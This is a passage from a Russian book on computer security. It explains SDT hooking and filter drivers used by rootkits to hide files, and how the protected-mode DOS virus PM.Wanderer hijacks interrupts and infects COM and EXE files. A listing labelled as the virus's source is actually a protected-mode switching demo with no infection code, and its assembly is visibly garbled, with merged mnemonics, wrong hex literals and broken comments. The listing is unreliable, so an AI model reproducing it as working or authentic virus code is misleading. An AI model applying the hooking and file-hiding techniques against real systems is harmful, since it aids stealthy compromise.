Олег Бойцев - Защити свой компьютер на 100% от вирусов и хакеров
Взаимодействие с ядром осуществляется через ntdll.dll, большинство функций которой являются посредниками при обращении к ядру через прерывание INT 2Eh. Конечное обращение к функциям ядра основано на структуре KeServiceDescrip-torTable (или сокращенно SDT), расположенной в ntoskrnl.exe. SDT, – это таблица, содержащая адреса точек входа сервисов ядра NT.
Упрощенно можно сказать, что для перехвата функций необходимо написать драйвер, который произведет модификацию таблицы SDT. Перед модификацией драйверу необходимо сохранить адреса перехватываемых функций и записать в таблицу SDT адреса своих обработчиков. Следует отметить, что такой перехват может быть реализован не только в руткитах. Так, существует достаточное количество полезных программ "мирного" назначения, перехватывающих функции при помощи правки SDT (RegMon от SysInternals или программа Process Guard).
Описанный выше метод перехвата можно считать наиболее простым. Существуют и другие подобные способы перехвата, к примеру создание драйвера-фильтра. Драйвер-фильтр может с успехом как решать задачи мониторинга (например, утилита FileMon), так и использоваться для активного внедрения в работу системы.
В частности, драйвер-фильтр может применяться для маскировки файлов и папок на диске. Принцип работы такого драйвера основан на манипуляциях с пакетами запроса ввода-вывода (IRP).
«Protected Mode – там, где тепло и сухо…»
Почему бы не создать вирус, работающий в защищенном режиме процессора? Действительно, обнаружить такой вирус антивирусной программе будет, мягко говоря, ну очень трудно, если не невозможно.
В качестве горячего примера, реализующего работу в защищенном режиме, уместно привести файловый вирус PM.Wanderer. Это резидентный полиморфный вирус, работающий в защищенном режиме процессоров i386-Pentium. Для своей работы вирус активно использует документированный интерфейс VCPI (Virtual Control Program Interface) драйвера расширенной памяти EMS (EMM386).
При запуске инфицированной программы вирус пытается "узнать", установлен ли в системе EMS-драйвер. Если вышеуказанного драйвера в системе нет, то вирус отдает управление программе-вирусоносителю, завершая при этом свою активность.
Если же драйвер есть, то вирус выполняет последовательный ряд подготовительных действий для выделения памяти под свое тело и переключения процессора в защищенный режим работы с наивысшим уровнем привилегий.
В защищенном режиме вирус пытается контролировать INT21 путем установки двух аппаратных контрольных точек на адреса входа в обработчик прерывания INT 21h и перехода на процедуру перезагрузки компьютера. Помимо прочего, вирус так модифицирует дескрипторную таблицу прерываний, чтобы на прерывания INT 1 (особый случай отладки) и INT 9 (клавиатура) установить собственные дескрипторы обработчиков прерываний. Тем самым достигается тотальный контроль всех нажатий клавиш на клавиатуре и попыток мягкой перезагрузки компьютера.
Результатом вышеописанных действий является копирование вируса в память компьютера и переключение процессора обратно в виртуальный режим работы. Затем вирус освобождает ранее выделенную память DOS в верхних адресах и возвращает управление инфицированной программе.
При заражении файлов вирусный код внедряется в начало СОМ или в середину ЕХЕ-файла. Код вируса "весит" 3684 байт, но, как правило, инфицированные им файлы имеют приращение длины более 3940 байт. Код вируса содержит текст "WANDERER" (листинг 5.6).
Листинг 5.6. Исходный код "WANDERER"
.286
.model tiny .code org 100h
; Подготовка к защищенному режиму работы
; Структура дескриптора
desc_struc STRUC
limit dw 0
baseJ dw 0
base_h db 0
access db 0
rsrvdw 0
desc_struc ENDS
ACC_PRESENT equ 10000000b
ACC_CSEG equ 01000000b
ACC_DSEG equ 00010000b
ACC_EXPDOWN equ 00001000b
ACC_CONFORM equ 00000100b
ACC_DATAWR equ 00000010b
DATA_ACC=ACC_PRESENT or ACC_DSEG or ACC_DATAWR
; 10010010b
CODE_ACC=ACC_PRESENT or ACC.CSEG or ACC_CONFORM ;
10011100b
STACK_ACC=ACC_PRESENT or ACC_DSEG or ACC_DATAWR or ACC.EXPDOWN
; 1001011 Ob
;Размеры сегментов
CSEG SIZE=65535
DSEG_SIZE=65535
STACK_SIZE=65535
; Смещения дескрипторов
CS_DESCR=(gdt_cs-gdt_0)
DS_DESCR=(gdt_ds-gdt_0)
SS_DESCR=(gdt_ss-gdt_0)
Константы значений портов
CMOS_PORT equ 070h
STATUS_PORT equ 064h
SHUTDOWN equ 0FEh
A20_PORT equ 0D1h
A20_ON equ 0DFh
A20_OFF equ 0DDh
INT_MASK_PORT equ 021h
KBD_PORT_A equ 060h
start:
; Инициализация данных для перехода в защищенный режим
call init_protected_mode
; Сам переход
call set_protected_mode
; Возврат в реальный режим
call set_real_mode
; Печатаем сообщение "Light General"
mov ah, 09h
lea dx, qw
int 21h
; Выход в DOS
mov ax, 4C00h
int 21h
; Макрокоманда для установки адреса для дескриптора
; в глобальной таблице дескрипторов GDT.
setgdtentry MACRO
mov [desc_struc.base_l][bx], ax
mov [desc_struc.base_h][bx], dl
ENDM
init_protected_mode PROC
mov ax, ds
mov dl, ah
shr dl, 4
shl ax, 4
; Устанавливаем адрес сегмента данных
; в глобальной таблице дескрипторов
mov bx, offset gdt_ds
setgdtentry
add ax, offset gdtr
adc dl, 0
; Останавливаем адрес сегмента GDT в глобальной таблице дескрипторов
mov bx, offset gdt_gdt
setgdtentry
; Вычисляем абсолютный адрес для сегмента кода ;
в соответствии со значением регистра CS
mov ax, cs
mov dl, ah
shr dl, 4
shl ax, 4
; Устанавливаем адрес сегмента кода ;
в глобальной таблице дескрипторов
mov bx, offset gdt_cs
setgdtentry
; Вычисляем абсолютный адрес для сегмента стека ;
в соответствии со значением регистра SS
mov ax, ss
mov dl, ah
shr dl, 4
shl ax, 4
; Устанавливаем адрес сегмента стека ;
в глобальной таблице дескрипторов
mov bx, offset gdt_ss
setgdtentry
; Перехватываем рестарт.
pushds
mov ax, 40h
mov ds, ax
mov word ptr ds:[0067h], offset shutdown_return
mov word ptr ds:[0069h], cs
pop ds
; Запрещаем маскируемые прерывания
cli
in al, INT_MASK_PORT
or al, OFFh
out INT_MASK_PORT, al
mov al, 8Fh
out CMOS_PORT, al
jmp $+2 mov al, 5
out CMOS_PORT+1, al
ret
init_protected_mode ENDP
; Подпрограмма, переводящая процессор в защищенный режим
set_protected_mode PROC
; Открываем адресную линию А20 для доступа свыше 1 Мбайт
call enable_a20
; Сохранение значения регистра SS для реального режима
mov real_ss, ss
; Перевод компилятора Turbo Assembler в улучшенный режим.
; IDEAL – это не команда и не оператор, это директива, влияющая
; только на интерпретацию дальнейших строк листинга
ideal
р286
;Загружаем регистр глобальной таблицы дескрипторов GDTR
lgdt[QWORD gdt_gdt] ; db OFh,01h,16h dw offset gdt_gdt ;
Переводим процессор в защищенный режим
mov ax, 0001h
lmswax ; db OFh,01h,FOh
; Переводим компилятор Turbo Assembler назад в режим MASM
masm
.286
jmp far flush
; db 0EAh
; dw offset flush
; dw CS_DESCR
flush:
; Останавливаем в регистр SS селектор сегмента стека
mov ax, SS_DESCR
mov ss, ax
; Устанавливаем в регистр DS селектор сегмента данных
mov ax, DS_DESCR
mov ds, ax
; Записываем в строку qw символ "L" и выходим из подпрограммы
mov byte ptr ds:[offset qw+2],"L"
ret
set_protected_mode ENDP
; Подпрограмма, возвращающая процессор в реальный режим
set_real_mode PROC
; Сохраняем значение регистра SP для реального режима
mov real_sp, sp
; Выполняем CPU Reset (рестарт процессора)
mov al, SHUT_DOWN
out STATUS_PORT, al
; Ждем, пока процессор перезапустится
wait_reset:
hlt
jmp wait_reset
; C этого места программа выполняется после перезапуска процессора
shutdown_return:
; Устанавливаем регистр DS в соответствии с регистром CS
pushcs
pop ds
; Восстанавливаем указатели на стек
; по ранее сохраненным значениям
mov ss, real_ss
mov sp, real_sp
; Закрываем адресную линию А20
call disable_a20
; Разрешаем немаскируемые прерывания
mov ax, 000dh
out CMOS_PORT, al
; Разрешаем маскируемые прерывания
in al, INT_MASK_PORT
and al, 0
out INT_MASK_PORT, al
sti
ret
set_real_mode ENDP
; Процедура, открывающая адресную линию А20. После открытия
; адресной линии программам будет доступна память свыше 1 Мбайт
enable_a20 PROC
mov al, A20_PORT
out STATUS_PORT, al
mov al, A20_ON
out KBD_PORT_A, al
ret
enable_a20 ENDP
disable_a20 PROC
mov al, A20_PORT
out STATUS_PORT, al
mov al, A20_OFF
out KBD_PORT_A, al
ret
disable_a20 ENDP
; Здесь сохраняется адрес стека
real_sp dw ?
real_ss dw ?
; Эта строка выводится на экран после работы программы ;
Символ "?" заменяется на "L" в защищенном режиме
qw db 13,10,"?ight General",13,10,"$"
; Глобальная таблица дескрипторов. Нулевой дескриптор
; обязательно должен быть "пустым"
GDT_BEG=$
gdtr label WORD
gdt_0 desc_struc <0,0,0,0,0>;
gdt_gdt desc_struc <GDT_SIZE-10,DATA_ACC,0>
gdt_ds desc_struc <DSEG_SIZE-10,DATA_ACC,0>
gdt_cs desc_struc <CSEG_SIZE-10,CODE_ACC,0>
gdt_ss desc_struc <STACK_SIZE-10,DATA_ACC,0>
GDT_SIZE=($-GDT_BEG)
END start
FLASH BIOS – почему бы и нет! Самая обычная ситуация – это когда код привязан к файловой системе и/или является резидентным (выполняющимся в оперативной памяти). Но что если вирусный код работает в BIOS?!
Да-да, именно, а почему бы и нет. Отлов и уничтожение такого "зверя" потребует от антивирусной программы чего-то большего, а именно – возможности трассировать прерывание INT 16h.
ПРИМЕЧАНИЕ
Прерывание (от англ. interrupt) – сигнал, сообщающий процессору о совершении какого-либо события. Прерывание подразумевает приостановку выполнения текущей последовательности команд и передачу управления обработчику прерывания.
Почему все так сложно и как с этим связан антивирусный монитор?